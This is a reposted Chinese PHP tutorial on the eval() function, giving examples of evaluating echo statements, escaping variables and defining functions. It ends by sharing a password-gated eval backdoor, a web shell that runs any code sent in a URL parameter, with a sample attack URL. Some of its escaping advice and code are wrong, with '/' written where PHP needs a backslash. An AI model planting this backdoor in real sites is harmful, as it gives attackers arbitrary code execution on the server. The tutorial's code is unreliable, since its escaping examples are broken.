|
代碼:
復制代碼 代碼如下:
eval("echo'hello world';");
上邊代碼等同于下邊的代碼:
echo"hello world";
在瀏覽器中都輸出:hello world
運用eval()要注意幾點:
1.eval函數的參數的字符串末尾一定要有分號,在最后還要另加一個分號(這個分號是php限制)
2.注意單引號,雙引號和反斜杠的運用。如果參數中帶有變量時,并且變量有賦值操作的話,變量前的$符號錢一定要有/來轉義。如果沒有賦值操作可以不需要。
代碼:
復制代碼 代碼如下:
$a=100;
eval("echo$a;");
因為沒有賦值操作,所以可以不用/來轉義$.等同于以下代碼:
復制代碼 代碼如下:
$a=100;
eval("echo/$a;")
3.注意在命令式字符串(包括分號)兩邊必須要有雙引號或者根據需要用單引號。否則報錯。
命令式字符串是指:字符串中包括echo、print之類的命令的時候。
如果參數只有一個變量則可以不用。例如:
復制代碼 代碼如下:
$func =<<<FUNC
function test(){
echo "test eval function";
}
FUNC;
eval($func);
test();
分享個php eval后門程序
要求必須支持eval函數
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();
復制代碼 代碼如下:
<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>
php技術:PHP eval函數使用介紹,轉載需保留來源!
鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。